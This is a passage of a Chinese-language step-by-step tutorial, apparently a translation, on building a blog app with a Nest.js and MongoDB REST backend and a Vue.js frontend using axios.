MongoDB 的对象建模工具的 Nest.js 专用软件包，后者是用于操作 Mongoose 的软件包。\n\n现在，使用以下命令启动应用：\n\n```sh\nnpm run start\n```\n\n现在，选择您喜欢的浏览器，打开 `http://localhost:3000`，您将看到我们的应用正在运行。\n\n![Alt 新安装的 Nest.js 应用的欢迎页面](https://assets.digitalocean.com/articles/nest_vue_mongo/step1b.png)\n\n现在，我们已经在 Nest CLI 命令的帮助下成功地创建了项目。接着，继续运行应用，并在本地机器上的默认端口 `3000` 上访问它。在下一节中，我们将通过设置数据库连接的配置来进一步了解应用。\n\n## 第二步 —— 配置和连接数据库\n\n这一步, 我们将配置 MongoDB 并将其集成到 Nest.js 应用中，用 MongoDB 存储应用的数据。MongoDB 将数据以**字段：值**对的形式存储在 **document** 中。您将使用 [Mongoose](https://mongoosejs.com/) 来访问这些数据结构，Mongoose 是一个对象文档模型（Object Document Modeling，ODM），它能够让我们定义表示 MongoDB 数据库存储的数据类型的 schema 结构。\n\n要启动 MongoDB，首先打开一个单独的终端，使应用可以继续运行，然后执行以下命令：\n\n```sh\nsudo mongod\n```\n\n这将启动 MongoDB 服务并在您机器的后台运行数据库。\n\n在文本编辑器中打开 `blog-backend` 项目，定位到 `./src/app.module.ts` 文件。我们可以通过在根 `ApplicationModule` 中已安装的 `MongooseModule` 来建立到数据库的连接。需要添加以下几行代码来更新 `app.module.ts` 中的内容：\n\n~/blog-backend/src/app.module.ts\n\n```ts\nimport { Module } from '@nestjs/common';\nimport { AppController } from './app.controller';\nimport { AppService } from './app.service';\nimport { MongooseModule } from '@nestjs/mongoose';\n\n@Module({\n  imports: [\n    MongooseModule.forRoot('mongodb://localhost/nest-blog', { useNewUrlParser: true }),\n  ],\n  controllers: [AppController],\n  providers: [AppService],\n})\nexport class AppModule { }\n```\n\n在这个文件中，我们使用 `forRoot()` 方法来完成与数据库的连接。完成编辑后，保存并关闭文件。\n\n有了这些，我们就可以使用 Mongoose 中对应 MongoDB 的模块来建立数据库连接。在下一节中，我们将使用 Mongoose 库、TypeScript 接口和数据传输对象（DTO）schema 创建一个数据库 schema。\n\n## 第三步 —— 创建数据库 Schema，接口以及 DTO\n\n在这一步, 我们将使用 Mongoose 为数据库创建 **schema**，**接口**和**数据传输对象**。Mongoose 帮助我们管理数据之间的关系，并提供数据类型的 schema 验证。为了更好的定义应用中数据库里数据结构和数据类型，我们将创建文件，以确定以下内容：\n\n* **数据库 schema**： 这是一种数据组织，它是定义数据库需要存储的数据结构和类型的蓝图。\n* **接口**：TypeScript 接口用于类型检查。它可以用来定义在应用中传递的数据的类型。\n* **数据传输对象**： 这个对象定义了数据是以何种形式通过网络发送的以及如何在进程之间进行传输的。\n\n首先, 回到当前应用运行的终端，使用 `CTRL + C` 停止进程，跳转至 `./src/` 文件夹：\n\n```sh\ncd ./src/\n```\n\n然后，创建一个名为 `blog` 的目录，并在其中创建一个 `schemas` 文件夹：\n\n```sh\nmkdir -p blog/schemas\n```\n\n在 `schemas` 文件夹，创建一个名为 `blog.schema.ts` 的新文件。使用文本编辑器打开它。然后，添加以下内容：\n\n~/blog-backend/src/blog/schemas/blog.schema.ts\n\n```ts\nimport * as mongoose from 'mongoose';\n\nexport const BlogSchema = new mongoose.Schema({\n    title: String,\n    description: String,\n    body: String,\n    author: String,\n    date_posted: String\n})\n```\n\n这里，我们使用 Mongoose 来定义将存储在数据库中的数据类型。我们已经指定所有将存储并且接受的字段只有字符串类型。完成编辑后保存并关闭文件。\n\n现在，确定了数据库 schema 之后，就可以继续创建接口了。\n\n首先，回到 `blog` 文件夹：\n\n```sh\ncd ~/blog-backend/src/blog/\n```\n\n创建一个名为 `interfaces` 的新文件夹，并跳转至文件夹内：\n\n```sh\nmkdir interfaces\n```\n\n在`interfaces` 文件夹，创建一个叫 `post.interface.ts` 的文件，并用文本编辑器打开它。添加以下内容以定义 `Post` 的数据类型：\n\n~/blog-backend/src/blog/interfaces/post.interface.ts\n\n```ts\nimport { Document } from 'mongoose';\n\nexport interface Post extends Document {\n    readonly title: string;\n    readonly description: string;\n    readonly body: string;\n    readonly author: string;\n    readonly date_posted: string\n}\n```\n\n在这个文件中，我们已经成功地将 `Post` 类型的数据类型定义为字符串值。保存并退出文件。\n\n因为我们的应用将会向数据库发送数据，所以我们将创建一个数据传输对象，它将定义数据会怎样发送到网络。\n\n为此，请在 `./src/blog` 文件夹中创建一个文件夹 `dto`。在新创建的文件夹中，创建一个名为 `create-post.dto.ts` 的文件\n\n定位到 `blog` 文件夹：\n\n```sh\ncd ~/blog-backend/src/blog/\n```\n\n然后创建一个名为 `dto` 的文件夹并跳转到该文件夹：\n\n```sh\nmkdir dto\n```\n\n在 `dto` 文件夹中，创建一个名为 `create-post.dto` 的新文件。使用文本编辑器打开它，添加以下内容：\n\n~/blog-backend/src/blog/dto/create-post.dto.ts\n\n```ts\nexport class CreatePostDTO {\n    readonly title: string;\n    readonly description: string;\n    readonly body: string;\n    readonly author: string;\n    readonly date_posted: string\n}\n```\n\n我们已经将 `CreatePostDTO` 类中的每个属性都标记为数据类型为 `string`，并标记为 `readonly`，以避免不必要的数据操作。完成编辑后保存并退出文件。\n\n在这一步中，我们已经为数据库创建了数据库 schema、接口、以及数据库将要存储的数据的数据传输对象。接下来，我们将为博客创建模块、控制器和服务。\n\n## 第四步 —— 为你的博客创建模块（Module）、控制器（Controller）和服务（Service）\n\n在这一步，我们将通过为博客创建一个模块来改进应用的现有结构。这个模块将组织应用中的文件结构。接着，我们将创建一个控制器来处理来自客户端的路由和 HTTP 请求。最后，我们将创建服务来处理应用程序中所有控制器无法处理的复杂业务逻辑。\n\n### 创建模块\n\n与 Angular 等前端框架类似，Nest.js 使用的是模块化语法。Nest.js 应用采用模块化设计；它预装的是单个根模块，这对小型应用来说通常是够用的。但是，当应用业务开始增长时，Nest.js 推荐使用多模块来组织应用，将代码根据相关的功能分解成不同模块。\n\nNest.js 中的**模块**由 `@Module()` 装饰器标识，并接受有 `controller` 和 `provider` 之类属性的对象。其中每一个属性都会分别采用一组 `controller` 和 `provider`。\n\n我们将为这个博客应用生成一个新模块，使结构更有组织。首先，仍然在 `~/blog-backend` 文件夹中，执行以下命令：\n\n```sh\nnest generate module blog\n```\n\n您将看到类似于以下内容的输出：\n\n```\nOutputCREATE /src/blog/blog.module.ts\n\nUPDATE /src/app.module.ts\n```\n\n该命令生成了一个名为 `blog.module.ts` 的新模块。将新创建的模块导入到应用的根模块中。这将允许 Nest.js 知道根模块之外的另一个模块的存在。\n\n在这个文件中，您将看到以下代码：\n\n~/blog-backend/src/blog/blog.module.ts\n\n```ts\nimport { Module } from '@nestjs/common';\n\n@Module({})\nexport class BlogModule {}\n```\n\n在本教程的后面，我们将使用所需的属性更新这个 `BlogModule`。现在保存并退出文件。\n\n### 创建服务\n\n**服务**（在 Nest.js 中也称它为 provider）的意义在于从仅应处理 HTTP 请求的控制器中移除业务逻辑，并会将更复杂的任务重定向到其他的服务类。服务是普通的 JavaScript 类，在它们的代码上方会带有 `@Injectable()` 装饰器。要生成新服务，请在该项目目录下终端运行以下命令：\n\n```sh\nnest generate service blog\n```\n\n您将看到类似于以下内容的输出：\n\n```\nOutput  CREATE /src/blog/blog.service.spec.ts (445 bytes)\n\nCREATE /src/blog/blog.service.ts (88 bytes)\n\nUPDATE /src/blog/blog.module.ts (529 bytes)\n```\n\n这里通过 `nest` 命令创建了一个 `blog.service.spec.ts` 文件，我们可以使用它进行测试。它还创建了一个新的 `blog.service.ts` 文件，它将保存这个应用的所有逻辑，并处理向 MongoDB 数据库的添加和检索 document。此外，它还会自动导入新创建的服务并将其添加到 `blog.module.ts` 中。\n\n服务处理应用中所有的逻辑，负责与数据库交互，并将合适的响应返回给控制器。为此，在文本编辑器中打开`blog.service.ts` 文件，并将内容替换为以下内容：\n\n~/blog-backend/src/blog/blog.service.ts\n\n```ts\nimport { Injectable } from '@nestjs/common';\nimport { Model } from 'mongoose';\nimport { InjectModel } from '@nestjs/mongoose';\nimport { Post } from './interfaces/post.interface';\nimport { CreatePostDTO } from './dto/create-post.dto';\n\n@Injectable()\nexport class BlogService {\n\n    constructor(@InjectModel('Post') private readonly postModel: Model<Post>) { }\n\n    async getPosts(): Promise<Post[]> {\n        const posts = await this.postModel.find().exec();\n        return posts;\n    }\n\n    async getPost(postID): Promise<Post> {\n        const post = await this.postModel\n            .findById(postID)\n            .exec();\n        return post;\n    }\n\n    async addPost(createPostDTO: CreatePostDTO): Promise<Post> {\n        const newPost = await this.postModel(createPostDTO);\n        return newPost.save();\n    }\n\n    async editPost(postID, createPostDTO: CreatePostDTO): Promise<Post> {\n        const editedPost = await this.postModel\n            .findByIdAndUpdate(postID, createPostDTO, { new: true });\n        return editedPost;\n    }\n\n    async deletePost(postID): Promise<any> {\n        const deletedPost = await this.postModel\n            .findByIdAndRemove(postID);\n        return deletedPost;\n    }\n\n}\n```\n\n在这个文件中，我们首先从 `@nestjs/common`、`mongoose` 和 `@nestjs/mongoose` 中导入所需的模块。同时我们还导入了一个名为 `Post` 的接口和一个数据传输对象 `CreatePostDTO`。\n\n在 `constructor` 中，我们使用了 `@InjectModel('Post')`，将 `Post` 模型注入这个 `BlogService` 类中。现在，我们可以使用这个注入的模型来检索所有的文章，获取一篇文章，并执行其他与数据库相关的活动。\n\n接着，我们创建了以下方法：\n\n* `getPosts()`：从数据库中获取所有文章。\n* `getPost()`：从数据库中检索一篇文章。\n* `addPost()`：添加一篇新文章。\n* `editPost()`：更新一篇文章。\n* `deletePost()`：删除特定的文章。\n\n完成后，保存并退出文件。\n\n我们已经完成了几个方法的设置和创建，这些方法将通过后端 API 来与 MongoDB 数据库进行的适当交互。现在，我们将创建用于处理来自前端客户端的 HTTP 调用所需的路由。\n\n### 创建控制器\n\n在 Nest.js 中，**控制器**负责处理来自应用客户端的任何请求并返回适当的响应。与大多数其他 web 框架类似，对于应用而言重要的就是监听请求并响应。\n\n为了满足博客应用的所有 HTTP 请求，我们将利用 `nest` 命令生成一个新的控制器文件。首先确保您仍然在项目目录，`blog-backend`，然后运行以下命令：\n\n```sh\nnest generate controller blog\n```\n\n您将看到类似于以下内容的输出：\n\n```\nOutputCREATE /src/blog/blog.controller.spec.ts (474 bytes)\n\nCREATE /src/blog/blog.controller.ts (97 bytes)\n\nUPDATE /src/blog/blog.module.ts (483 bytes)\n```\n\n这段输出表示该命令在 `src/blog` 目录中创建了两个新文件，`blog.controller.spec.ts` 和 `blog.controller.ts`。前者是一个可以用来为新创建的控制器编写自动测试的文件。后者是控制器文件本身。Nest.js 中的控制器是用 `@Controller` 元数据装饰的 TypeScript 文件。该命令还导入了新创建的控制器并添加它到博客模块。\n\n接下来，用文本编辑器打开 `blog.controller.ts` 文件并用以下内容更新它：\n\n~/blog-backend/src/blog/blog.controller.ts\n\n```ts\nimport { Controller, Get, Res, HttpStatus, Param, NotFoundException, Post, Body, Query, Put, Delete } from '@nestjs/common';\nimport { BlogService } from './blog.service';\nimport { CreatePostDTO } from './dto/create-post.dto';\nimport { ValidateObjectId } from '../shared/pipes/validate-object-id.pipes';\n\n\n@Controller('blog')\nexport class BlogController {\n\n    constructor(private blogService: BlogService) { }\n\n    @Get('posts')\n    async getPosts(@Res() res) {\n        const posts = await this.blogService.getPosts();\n        return res.status(HttpStatus.OK).json(posts);\n    }\n\n    @Get('post/:postID')\n    async getPost(@Res() res, @Param('postID', new ValidateObjectId()) postID) {\n        const post = await this.blogService.getPost(postID);\n        if (!post) throw new NotFoundException('Post does not exist!');\n        return res.status(HttpStatus.OK).json(post);\n\n    }\n\n    @Post('/post')\n    async addPost(@Res() res, @Body() createPostDTO: CreatePostDTO) {\n        const newPost = await this.blogService.addPost(createPostDTO);\n        return res.status(HttpStatus.OK).json({\n            message: \"Post has been submitted successfully!\",\n            post: newPost\n        })\n    }\n}\n```\n\n在这个文件中，我们首先引入了来自 `@nestjs/common` 模块的处理 HTTP 请求所需的模块。然后，我们引入了三个新模块：`BlogService`、`CreatePostDTO` 和 `ValidateObjectId`。之后，通过在构造函数中将 `BlogService` 注入到控制器，以使得拥有访问权限来使用 `BlogService` 文件中已经定义好的函数。在 Nest.js 中，这是一种模式，叫作**依赖注入**，有助于提高效率和增强应用的模块化。\n\n最后，我们创建了以下这些异步方法：\n\n* `getPosts()`： 这个方法将执行从客户端接收 HTTP GET 请求时从数据库中获取所有文章，然后返回适当的响应的功能。它用 `@Get('posts')` 装饰。\n* `getPost()`： 这将以 `postID` 作为参数，从数据库中获取一篇文章。除了传递给这个方法的 `postID` 参数之外，还实现了一个名为 `ValidateObjectId()` 的额外方法。这个方法实现了 Nest.js 中的 `PipeTransform` 接口。它是用于验证并确保可以在数据库中找到 `postID` 参数。我们将在下一节中定义这个方法。\n* `addPost()`： 这个方法将处理 HTTP POST 请求，以便向数据库添加新的文章。\n\n为了能够编辑和删除特定的文章，我们需要在 `blog.controller.ts` 文件中添加两个以上的方法。我们需要，在之前添加到 `blog.controller.ts` 的 `addPost()` 方法后，直接加上 `editPost()` 和 `deletePost()` 方法：\n\n~/blog-backend/src/blog/blog.controller.ts\n\n```ts\n...\n@Controller('blog')\nexport class BlogController {\n    ...\n    @Put('/edit')\n    async editPost(\n        @Res() res,\n        @Query('postID', new ValidateObjectId()) postID,\n        @Body() createPostDTO: CreatePostDTO\n    ) {\n        const editedPost = await this.blogService.editPost(postID, createPostDTO);\n        if (!editedPost) throw new NotFoundException('Post does not exist!');\n        return res.status(HttpStatus.OK).json({\n            message: 'Post has been successfully updated',\n            post: editedPost\n        })\n    }\n\n\n    @Delete('/delete')\n    async deletePost(@Res() res, @Query('postID', new ValidateObjectId()) postID) {\n        const deletedPost = await this.blogService.deletePost(postID);\n        if (!deletedPost) throw new NotFoundException('Post does not exist!');\n        return res.status(HttpStatus.OK).json({\n            message: 'Post has been deleted!',\n            post: deletedPost\n        })\n    }\n}\n```\n\n这里解释一下我们到底添加了什么：\n\n* `editPost()`： 这个方法接受 `postID` 的查询参数，并执行更新一篇文章的功能。它还利用 `ValidateObjectId` 方法为您需要编辑文章提供适当的认证。\n* `deletePost()`： 这个方法将接受 `postID` 的查询参数，并从数据库中删除特定的文章。\n\n与 `BlogController` 类似，这里定义的每个异步方法都有一个元数据装饰器，并且包含一个 Nest.js 中用于路由机制的前缀。它控制每个控制器接收的请求，以及分别指向应该处理请求和返回的响应方法。\n\n例如，我们在本节中创建的 `BlogController` 具有 `blog` 前缀和一个名为 `getPosts()` 采用 `posts` 前缀的方法。这意味着发送到 `blog/posts`（`http:localhost:3000/blog/posts`）的任何 GET 请求都将由 `getPosts()` 方法处理。其他处理 HTTP 请求的方法与这个示例中的方式类似。\n\n保存并退出文件。\n\n关于应用的完整 `blog.controller.ts` 文件，请访问 [DO Community repository](https://github.com/do-community/nest-vue-project/blob/master/blog-backend/src/blog/blog.controller.ts)。\n\n在这一节中，我们创建了模块，使得应用更便于管理。我们还创建了服务，通过与数据库的交互并返回适当的响应来处理应用程序的业务逻辑。最后，我们创建了控制器并生成了必要的方法来处理来自客户端的 HTTP 请求，例如 `GET`、`POST`、`PUT` 和 `DELETE`。在下一节中，我们将完成后端设置。\n\n## 第五步 —— 为 Mongoose 创建一个额外的认证\n\n我们可以通过唯一的 ID （也称为 `PostID`）来区分博客应用中的每篇文章。这意味着获取文章的话，我们需要将此 ID 作为查询参数传递过去。为了验证这个 `postID` 参数并确保这篇文章在数据库确实存在可用，我们需要创建一个可复用的函数，该函数可以从 `BlogController` 中的任何方法初始化。\n\n要配置它，请定位到 `./src/blog` 文件夹：\n\n```sh\ncd ./src/blog/\n```\n\n然后，创建一个名为 `shared` 的新文件夹：\n\n```sh\nmkdir -p shared/pipes\n```\n\n在 `pipes` 文件夹中，使用文本编辑器创建一个名为 validate-object-id.pipes.ts 的新文件，并打开它。添加以下内容以定义接受的 `postID` 数据：\n\n~/blog-backend/src/blog/shared/pipes/validate-object-id.pipes.ts\n\n```ts\nimport { PipeTransform, Injectable, ArgumentMetadata, BadRequestException } from '@nestjs/common';\nimport * as mongoose from 'mongoose';\n\n@Injectable()\nexport class ValidateObjectId implements PipeTransform<string> {\n    async transform(value: string, metadata: ArgumentMetadata) {\n        const isValid = mongoose.Types.ObjectId.isValid(value);\n        if (!isValid) throw new BadRequestException('Invalid ID!');\n        return value;\n    }\n}\n```\n\n`ValidateObjectId()` 类是由 `@nestjs/common` 模块中的 `PipeTransform` 方法实现的。它有一个名为 `transform()` 的方法，该方法将 value 作为参数 —— 在当前着种情况下为 `postID`。使用这个方法，任何带有无法在数据库中检索到的 `postID` 的应用中的前端 HTTP 请求都会被视为无效。保存并关闭文件。\n\n在创建了服务和控制器之后，我们需要建立基于 `BlogSchema` 的 `Post` 模型。这个配置可以在根 `ApplicationModule` 中设置，但是在这本例中，我们将在 `BlogModule` 中构建模型以维护应用的组织。打开`./src/blog/blog.module.ts` 并用以下内容更新它：\n\n~/blog-backend/src/blog/blog.module.ts\n\n```ts\nimport { Module } from '@nestjs/common';\nimport { BlogController } from './blog.controller';\nimport { BlogService } from './blog.service';\nimport { MongooseModule } from '@nestjs/mongoose';\nimport { BlogSchema } from './schemas/blog.schema';\n\n@Module({\n  imports: [\n    MongooseModule.forFeature([{ name: 'Post', schema: BlogSchema }])\n ],\n  controllers: [BlogController],\n  providers: [BlogService]\n})\nexport class BlogModule { }\n```\n\n在这里我们使用 `MongooseModule.forFeature()` 方法来定义在模块中应该注册哪些模型。如果没有这个方法，使用 `@injectModel()` 装饰器在 `BlogService` 中注入 `PostModel` 将不起作用。完成添加后，保存并关闭文件。\n\n在这一步中，我们已经用 Nest.js 创建了完整的后端 RESTful API，并将其与 MongoDB 集成。在下一节中，我们将配置服务器以允许来自其他服务器的 HTTP 请求，因为我们的前端应用和后端将运行在不同的端口上。\n\n## 第六步 —— 启用 CORS\n\n跨域的 HTTP 请求通常在默认情况下被阻止，除非服务器指定允许它访问。要使前端应用向后端服务器发出跨域请求，必须启用**跨源资源共享（CORS）**，这是一种允许请求 Web 页面上跨域资源的技术。\n\n在 Nest.js 中启用 CORS，我们需要向 `main.ts` 文件中添加一个方法。用文本编辑器打开位于 `./src/main.ts` 中的文件，并用以下内容更新它：\n\n~/blog-backend/src/main.ts\n\n```ts\nimport { NestFactory } from '@nestjs/core';\nimport { AppModule } from './app.module';\n\nasync function bootstrap() {\n  const app = await NestFactory.create(AppModule);\n  app.enableCors();\n  await app.listen(3000);\n}\nbootstrap();\n```\n\n保存并退出文件。\n\n现在我们已经完成了后端设置，我们将把重点转移到前端，使用 Vue.js 来使用到目前为止构建的 API。\n\n## 第七步 —— 创建 Vue.js 前端\n\n在本节中，我们将使用 Vue.js 创建前端应用。[Vue CLI](https://cli.vuejs.org/) 是一个脚手架，它使我们能够方便简单地快速生成和安装一个新的 Vue.js 项目。\n\n首先，您需要在您的机器上全局安装 Vue CLI 。打开另一个终端，注意路径不是在 `blog-backend` 文件夹，而是在本地项目的 development 文件夹，然后运行：\n\n```sh\nnpm install -g @vue/cli\n```\n\n一旦安装过程完成，我们将利用 `vue` 命令创建一个新的 Vue.js 项目：\n\n```sh\nvue create blog-frontend\n```\n\n输入此命令后，我们将看到一个简短的提示。选择 `manually select features` 选项（意思是手动选择特性），然后按下计算机上的`空格`，这时会显示出多个特性来让您来选择此项目所需的特性。我们将选择`Babel`、`Router` 和 `Linter / Formatter`。\n\n![Alt CLI 初始化 Vue 项目](https://assets.digitalocean.com/articles/nest_vue_mongo/step7a.png)\n\n对于下一条指令，输入 `y` 来使用路由的历史模式；这将使历史模式在 router 文件中启用，这个 router 文件将自动为我们的项目生成。此外，仅选择`ESLint with error prevention only` 用于 linter/formatter 的配置。下一步，选择 `Lint on save` 为保留其他的 Lint 功能。然后选择将我们的配置保存到一个 `dedicated config file`（专用配置文件）中，以供将来的项目使用。最后，为我们的这些预置设置输入一个名称，比如 `vueconfig`。\n\n![Alt CLI 初始化 Vue.js 项目的最后一步](https://assets.digitalocean.com/articles/nest_vue_mongo/step7b.png)\n\nVue.js 将开始在一个名为 `blog-frontend` 的目录中创建应用及其所需的所有依赖项。\n\n安装过程完成后，在 Vue.js 应用中定位到：\n\n```sh\ncd blog-frontend\n```\n\n然后，使用以下命令启动服务器：\n\n```sh\nnpm run serve\n```\n\n我们的应用将在 `http://localhost:8080` 上运行。\n\n![Alt Vue.js 首页界面](https://assets.digitalocean.com/articles/nest_vue_mongo/step7c.png)\n\n由于我们将在此应用中执行 HTTP 请求，因此需要安装 axios，这是一种基于 Promise 的浏览器 HTTP 客户端。这里将使用 axios 执行来自应用中不同组件的 HTTP 请求。在您的计算机的终端上按 `CTRL + C` 终止前端应用，然后运行以下命令：\n\n```sh\nnpm install axios --save\n```\n\n我们的前端应用将从应用中的不同组件中对特定域上的后端 API 进行 API 调用。为了确保我们应用的路由请求结构是正确的，我们可以创建一个`辅助`文件，在其中定义服务器 `baseURL`。\n\n首先，将仍然位于博客前端的终端中，定位到 `./src/` 文件夹：\n\n```sh\ncd ./src/\n```\n\n创建另一个名为 `utils` 的文件夹：\n\n```sh\nmkdir utils\n```\n\n在 `utils` 文件夹，使用文本编辑器创建一个名为 `helper.js` 的新文件并将其打开。添加以下内容以定义后端 Nest.js 项目的 `baseURL`：\n\n~blog-frontend/src/utils/helper.js\n\n```js\nexport const server = {\n\nbaseURL: 'http://localhost:3000'\n\n}\n```\n\n定义了 `baseURL` 之后，我们可以从 Vue.js 组件文件中的任何位置调用它。在需要更改 URL 的情况下，更改这个文件中的 baseURL 比在整个应用代码中更新更容易。\n\n在本节中，我们安装了 Vue CLI，这是一个用于创建新的 Vue.js 应用的脚手架工具。我们使用此工具来创建 `blog-frontend` 应用。此外，我们还运行了应用并安装了一个名为 axios 的库，每当应用中出现 HTTP 调用时，我们都使用该库。接下来，我们将为应用创建组件。\n\n## 第八步 —— 创建可复用的组件\n\n现在我们要为我们的应用创建可重用的组件，这是 Vue.js 应用的标准结构。Vue.js 中的组件系统使开发人员能够构建一个单独的、独立的接口单元，该单元具有自己的状态、HTML 和样式。这使得这些组件可以被复用。\n\n每个 Vue.js 组件都包含三个不同的部分：\n\n* `<template>`：包含着 HTML 内容\n* `<script>`：包含所有基本的前端逻辑并定义函数\n* `<style>`：每个组件的单独样式表\n\n首先，我们将创建一个用来创建文章的组件。我们需要在 `./src/components` 文件夹中创建一个名为 `post` 的新文件夹，这个文件夹中存放有关文章的必要的可重用组件。然后使用文本编辑器在新创建的 `post` 文件夹中创建另一个文件并将其命名为 `Create.vue`。打开这个文件并添加以下代码，这段代码告诉了我们提交文章所需的输入字段：\n\n~blog-frontend/src/components/post/Create.vue\n\n```vue\n<template>\n   <div>\n        <div class=\"col-md-12 form-wrapper\">\n          <h2> Create Post </h2>\n          <form id=\"create-post-form\" @submit.prevent=\"createPost\">\n               <div class=\"form-group col-md-12\">\n                <label for=\"title\"> Title </label>\n                <input type=\"text\" id=\"title\" v-model=\"title\" name=\"title\" class=\"form-control\" placeholder=\"Enter title\">\n               </div>\n              <div class=\"form-group col-md-12\">\n                  <label for=\"description\"> Description </label>\n                  <input type=\"text\" id=\"description\" v-model=\"description\" name=\"description\" class=\"form-control\" placeholder=\"Enter Description\">\n              </div>\n              <div class=\"form-group col-md-12\">\n                  <label for=\"body\"> Write Content </label>\n                  <textarea id=\"body\" cols=\"30\" rows=\"5\" v-model=\"body\" class=\"form-control\"></textarea>\n              </div>\n              <div class=\"form-group col-md-12\">\n                  <label for=\"author\"> Author </label>\n                  <input type=\"text\" id=\"author\" v-model=\"author\" name=\"author\" class=\"form-control\">\n              </div>\n\n              <div class=\"form-group col-md-4 pull-right\">\n                  <button class=\"btn btn-success\" type=\"submit\"> Create Post </button>\n              </div>          \n          </form>\n        </div>\n    </div>\n</template>\n```\n\n这是 `CreatePost` 组件的 `<template>` 部分。它包含创建新文章所需的 HTML 元素 input。每个输入字段都有一个 `v-model` 指令作为输入属性。这是为了使每个表单上的 input 框都有双向数据绑定，以便 Vue.js 更容易获得用户的输入。\n\n接下来，将 `<script>` 部分直接添加到前面的文件中：\n\n~blog-frontend/src/components/post/Create.vue\n\n```js\n...\n<script>\nimport axios from \"axios\";\nimport { server } from \"../../utils/helper\";\nimport router from \"../../router\";\nexport default {\n  data() {\n    return {\n      title: \"\",\n      description: \"\",\n      body: \"\",\n      author: \"\",\n      date_posted: \"\"\n    };\n  },\n  created() {\n    this.date_posted = new Date().toLocaleDateString();\n  },\n  methods: {\n    createPost() {\n      let postData = {\n        title: this.title,\n        description: this.description,\n        body: this.body,\n        author: this.author,\n        date_posted: this.date_posted\n      };\n      this.__submitToServer(postData);\n    },\n    __submitToServer(data) {\n      axios.post(`${server.baseURL}/blog/post`, data).then(data => {\n        router.push({ name: \"home\" });\n      });\n    }\n  }\n};\n</script>\n```\n\n这里我们添加了一个名为 `createPost()` 的方法来创建一篇新文章，并使用 axios 将其提交给服务器。一旦用户创建了一篇新文章，应用将重定向回主页，用户可以在那里查看创建的文章的列表。\n\n我们将在本教程的后面配置 vue-router 来实现重定向。\n\n完成编辑后保存并关闭文件。关于应用的完整 `Create.vue` 文件，请访问 [DO Community repository](https://github.com/do-community/nest-vue-project/blob/master/blog-frontend/src/components/post/Create.vue)。\n\n现在，我们需要再创建一个用于编辑特定文章的组件。定位到 `./src/components/post` 文件夹，再创建一个名为 `Edit.vue` 文件。添加以下 `<template>` 部分的代码到文件中：\n\n~blog-frontend/src/components/post/Edit.vue\n\n```vue\n<template>\n<div>\n      <h4 class=\"text-center mt-20\">\n       <small>\n         <button class=\"btn btn-success\" v-on:click=\"navigate()\"> View All Posts </button>\n       </small>\n    </h4>\n        <div class=\"col-md-12 form-wrapper\">\n          <h2> Edit Post </h2>\n          <form id=\"edit-post-form\" @submit.prevent=\"editPost\">\n            <div class=\"form-group col-md-12\">\n                <label for=\"title\"> Title </label>\n                <input type=\"text\" id=\"title\" v-model=\"post.title\" name=\"title\" class=\"form-control\" placeholder=\"Enter title\">\n            </div>\n            <div class=\"form-group col-md-12\">\n                <label for=\"description\"> Description </label>\n                <input type=\"text\" id=\"description\" v-model=\"post.description\" name=\"description\" class=\"form-control\" placeholder=\"Enter Description\">\n            </div>\n            <div class=\"form-group col-md-12\">\n                <label for=\"body\"> Write Content </label>\n                <textarea id=\"body\" cols=\"30\" rows=\"5\" v-model=\"post.body\" class=\"form-control\"></textarea>\n            </div>\n            <div class=\"form-group col-md-12\">\n                <label for=\"author\"> Author </label>\n                <input type=\"text\" id=\"author\" v-model=\"post.author\" name=\"author\" class=\"form-control\">\n            </div>\n\n            <div class=\"form-group col-md-4 pull-right\">\n                <button class=\"btn btn-success\" type=\"submit\"> Edit Post </button>\n            </div>\n          </form>\n        </div>\n    </div>\n</template>\n\n```\n\n这里的 template 部分的内容与 `CreatePost()` 组件类似；唯一的区别是它包含了需要编辑的特定文章的具体内容。\n\n接下来，直接在 `Edit.vue` 中的 `</template>` 部分后面添加 `<script>` 部分：\n\n~blog-frontend/src/components/post/Edit.vue\n\n```js\n...\n<script>\nimport { server } from \"../../utils/helper\";\nimport axios from \"axios\";\nimport router from \"../../router\";\nexport default {\n  data() {\n    return {\n      id: 0,\n      post: {}\n    };\n  },\n  created() {\n    this.id = this.$route.params.id;\n    this.getPost();\n  },\n  methods: {\n    editPost() {\n      let postData = {\n        title: this.post.title,\n        description: this.post.description,\n        body: this.post.body,\n        author: this.post.author,\n        date_posted: this.post.date_posted\n      };\n\n      axios\n        .put(`${server.baseURL}/blog/edit?postID=${this.id}`, postData)\n        .then(data => {\n          router.push({ name: \"home\" });\n        });\n    },\n    getPost() {\n      axios\n        .get(`${server.baseURL}/blog/post/${this.id}`)\n        .then(data => (this.post = data.data));\n    },\n    navigate() {\n      router.go(-1);\n    }\n  }\n};\n</script>\n```\n\n在这里，我们获得了路由参数 `id` 来标识特定文章。然后，我们创建了一个名为 `getPost()` 的方法来从数据库检索这篇文章的详细信息，并使用它更新页面。最后，我们创建了 `editPost()` 方法，用 HTTP PUT 请求将编辑后的文章提交回后端服务器。\n\n完成编辑后保存并关闭文件。关于应用的完整 `Edit.vue` 文件，请访问 [DO Community repository](https://github.com/do-community/nest-vue-project/blob/master/blog-frontend/src/components/post/Edit.vue)。\n\n现在，我们在 `./src/components/post` 文件夹中创建一个名为 `Post.vue` 新组件。这样我们就可以从首页中查看特定文章的详细信息。然后，将以下内容添加到 `Post.vue` 中：\n\n~blog-frontend/src/components/post/Post.vue\n\n```js\n<template>\n    <div class=\"text-center\">\n        <div class=\"col-sm-12\">\n      <h4 style=\"margin-top: 30px;\"><small><button class=\"btn btn-success\" v-on:click=\"navigate()\"> View All Posts </button></small></h4>\n      <hr>\n      <h2>{{ post.title }}</h2>\n      <h5><span class=\"glyphicon glyphicon-time\"></span> Post by {{post.author}}, {{post.date_posted}}.</h5>\n      <p> {{ post.body }} </p>\n\n    </div>\n    </div>\n</template>\n```\n\n这段代码会渲染出文章的详细信息，包括`标题（titile）`、`作者（author）`和文章`正文（body）`。\n\n现在，直接在 `</template>` 之后，添加以下代码：\n\n~blog-frontend/src/components/post/Post.vue\n\n```js\n...\n<script>\nimport { server } from \"../../utils/helper\";\nimport axios from \"axios\";\nimport router from \"../../router\";\nexport default {\n  data() {\n    return {\n      id: 0,\n      post: {}\n    };\n  },\n  created() {\n    this.id = this.$route.params.id;\n    this.getPost();\n  },\n  methods: {\n    getPost() {\n      axios\n        .get(`${server.baseURL}/blog/post/${this.id}`)\n        .then(data => (this.post = data.data));\n    },\n    navigate() {\n      router.go(-1);\n    }\n  }\n};\n</script>\n```\n\n这里的 `<script>` 部分的内容与编辑特文章的组件类似，我们从路由中获得了参数 `id` 